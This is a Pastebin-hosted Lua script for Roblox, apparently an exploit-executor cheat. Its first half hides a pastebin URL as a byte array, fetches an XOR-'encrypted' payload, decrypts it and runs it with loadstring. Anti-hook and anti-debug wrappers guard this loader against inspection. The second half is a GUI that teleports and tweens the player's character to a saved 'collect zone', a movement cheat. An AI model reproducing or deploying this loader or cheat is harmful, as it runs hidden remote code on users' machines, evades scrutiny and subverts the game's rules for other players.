Kenken_I

Untitled

Jul 15th, 2025
9
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.69 KB | None | 0 0
  1. -- Anti-hook & Anti-skid protection (top priority)
  2. local orig_loadstring = loadstring
  3. local orig_load = load
  4. local orig_require = require
  5. local orig_hookfunction = hookfunction or function() return nil end
  6. local orig_setclipboard = setclipboard or function() return nil end
  7. local orig_getinfo = debug and debug.getinfo or function() return nil end
  8.  
  9. local dummy_code = "return function() end"
  10.  
  11. local function is_hooked(fn, orig)
  12. if not fn or not orig then return false end
  13. if tostring(fn) ~= tostring(orig) then return true end
  14. local ok1, f1 = pcall(string.dump, fn)
  15. local ok2, f2 = pcall(string.dump, orig)
  16. if ok1 and ok2 and f1 ~= f2 then
  17. return true
  18. end
  19. return false
  20. end
  21.  
  22. loadstring = function(code, ...)
  23. if is_hooked(loadstring, orig_loadstring) or is_hooked(load, orig_load) or is_hooked(require, orig_require)
  24. or is_hooked(hookfunction, orig_hookfunction) or is_hooked(setclipboard, orig_setclipboard) then
  25. return orig_loadstring(dummy_code)
  26. end
  27. return orig_loadstring(code, ...)
  28. end
  29.  
  30. load = function(code, ...)
  31. if is_hooked(loadstring, orig_loadstring) or is_hooked(load, orig_load) or is_hooked(require, orig_require)
  32. or is_hooked(hookfunction, orig_hookfunction) or is_hooked(setclipboard, orig_setclipboard) then
  33. return orig_load(dummy_code)
  34. end
  35. return orig_load(code, ...)
  36. end
  37.  
  38. require = function(...)
  39. if is_hooked(loadstring, orig_loadstring) or is_hooked(load, orig_load) or is_hooked(require, orig_require)
  40. or is_hooked(hookfunction, orig_hookfunction) or is_hooked(setclipboard, orig_setclipboard) then
  41. error("require is hooked - aborted")
  42. end
  43. return orig_require(...)
  44. end
  45.  
  46. if debug and debug.getinfo then
  47. local info = debug.getinfo(1)
  48. if info and info.what == "C" then
  49. error("Debug environment detected - aborting")
  50. end
  51. end
  52.  
  53. -- Utility: Decode obfuscated pastebin URL bytes
  54. local function decode_url()
  55. local bytes = {112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,67,57,74,52,75,75,83,77}
  56. local url = ""
  57. for i = 1, #bytes do
  58. url = url .. string.char(bytes[i])
  59. end
  60. return "https://" .. url
  61. end
  62.  
  63. -- XOR decrypt function with key 55 (customize your key)
  64. local function decrypt(code)
  65. local key = 55
  66. local decrypted = ""
  67. for i = 1, #code do
  68. decrypted = decrypted .. string.char(bit32.bxor(code:byte(i), key))
  69. end
  70. return decrypted
  71. end
  72.  
  73. -- Fetch encrypted code
  74. local encryptedScript = game:HttpGet(decode_url(), true)
  75.  
  76. -- Decrypt code
  77. local decryptedScript = decrypt(encryptedScript)
  78.  
  79. -- Sandbox environment (empty with some basic functions)
  80. local sandbox_env = {
  81. print = print,
  82. warn = warn,
  83. error = error,
  84. pairs = pairs,
  85. ipairs = ipairs,
  86. tonumber = tonumber,
  87. tostring = tostring,
  88. math = math,
  89. string = string,
  90. table = table,
  91. bit32 = bit32,
  92. task = task,
  93. -- add other safe APIs as needed
  94. }
  95.  
  96. -- Load decrypted code securely
  97. local func, err = loadstring(decryptedScript)
  98. if func then
  99. setfenv(func, sandbox_env)
  100. local success, runtime_err = pcall(func)
  101. if not success then
  102. warn("Runtime error in decrypted script: " .. tostring(runtime_err))
  103. end
  104. else
  105. error("Failed to load decrypted script: " .. tostring(err))
  106. end
  107.  
  108.  
  109. -- Below is your GUI code, no changes needed (you can replace this with your own GUI)
  110.  
  111. local TweenService = game:GetService("TweenService")
  112. local Players = game:GetService("Players")
  113. local player = Players.LocalPlayer
  114. local playerGui = player:WaitForChild("PlayerGui")
  115.  
  116. local screenGui = Instance.new("ScreenGui")
  117. screenGui.Name = "MoveGui"
  118. screenGui.ResetOnSpawn = false
  119. screenGui.Parent = playerGui
  120.  
  121. local frame = Instance.new("Frame")
  122. frame.Size = UDim2.new(0, 180, 0, 140)
  123. frame.Position = UDim2.new(0.5, -90, 0.5, -70)
  124. frame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  125. frame.BorderSizePixel = 0
  126. frame.Active = true
  127. frame.Draggable = true
  128. frame.Parent = screenGui
  129.  
  130. local corner = Instance.new("UICorner")
  131. corner.CornerRadius = UDim.new(0, 10)
  132. corner.Parent = frame
  133.  
  134. local title = Instance.new("TextLabel")
  135. title.Size = UDim2.new(1, 0, 0, 30)
  136. title.BackgroundTransparency = 1
  137. title.Text = "ken_i v1"
  138. title.TextColor3 = Color3.new(1, 1, 1)
  139. title.Font = Enum.Font.SourceSansBold
  140. title.TextSize = 18
  141. title.Parent = frame
  142.  
  143. local function createButton(name, posY)
  144. local btn = Instance.new("TextButton")
  145. btn.Size = UDim2.new(0, 160, 0, 35)
  146. btn.Position = UDim2.new(0, 10, 0, posY)
  147. btn.BackgroundColor3 = Color3.fromRGB(70, 130, 180)
  148. btn.TextColor3 = Color3.new(1, 1, 1)
  149. btn.Text = name
  150. btn.Font = Enum.Font.SourceSansBold
  151. btn.TextSize = 16
  152. btn.Parent = frame
  153.  
  154. local btnCorner = Instance.new("UICorner")
  155. btnCorner.CornerRadius = UDim.new(0, 8)
  156. btnCorner.Parent = btn
  157.  
  158. return btn
  159. end
  160.  
  161. local saveZoneBtn = createButton("Save Collect Zone Position", 40)
  162. local activateBtn = createButton("Activate Forward + Up", 85)
  163. activateBtn.Visible = false
  164.  
  165. local savedCollectPosition = nil
  166. local speed = (19 / 0.65) * 1.06 -- +6% speed
  167.  
  168. local function moveForwardThenUp()
  169. local character = player.Character
  170. if not character then return end
  171. local root = character:FindFirstChild("HumanoidRootPart")
  172. if not root then return end
  173.  
  174. local distance = 48
  175. local forward = root.CFrame.LookVector
  176. local targetPos = root.Position + (forward * distance)
  177. local targetCFrame = CFrame.new(targetPos, targetPos + forward)
  178. local duration = distance / speed
  179.  
  180. local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
  181. local tween = TweenService:Create(root, tweenInfo, {CFrame = targetCFrame})
  182. tween:Play()
  183.  
  184. tween.Completed:Connect(function()
  185. local upPos = root.Position + Vector3.new(0, 300, 0)
  186. root.CFrame = CFrame.new(upPos, upPos + forward)
  187.  
  188. if savedCollectPosition then
  189. task.delay(0.1, function()
  190. local currentPos = root.Position
  191. local dist = (savedCollectPosition - currentPos).Magnitude
  192. local look = (savedCollectPosition - currentPos).Unit
  193. local savedCFrame = CFrame.new(savedCollectPosition, savedCollectPosition + look)
  194. local dur = dist / speed
  195.  
  196. local tween2 = TweenService:Create(root, TweenInfo.new(dur, Enum.EasingStyle.Sine), {CFrame = savedCFrame})
  197. tween2:Play()
  198. end)
  199. end
  200. end)
  201. end
  202.  
  203. saveZoneBtn.MouseButton1Click:Connect(function()
  204. local character = player.Character
  205. if character and character:FindFirstChild("HumanoidRootPart") then
  206. savedCollectPosition = character.HumanoidRootPart.Position
  207. warn("Player go by your base")
  208. saveZoneBtn.Visible = false
  209. activateBtn.Visible = true
  210. end
  211. end)
  212.  
  213. activateBtn.MouseButton1Click:Connect(moveForwardThenUp)
  214.  
Advertisement
Add Comment
Please, Sign In to add comment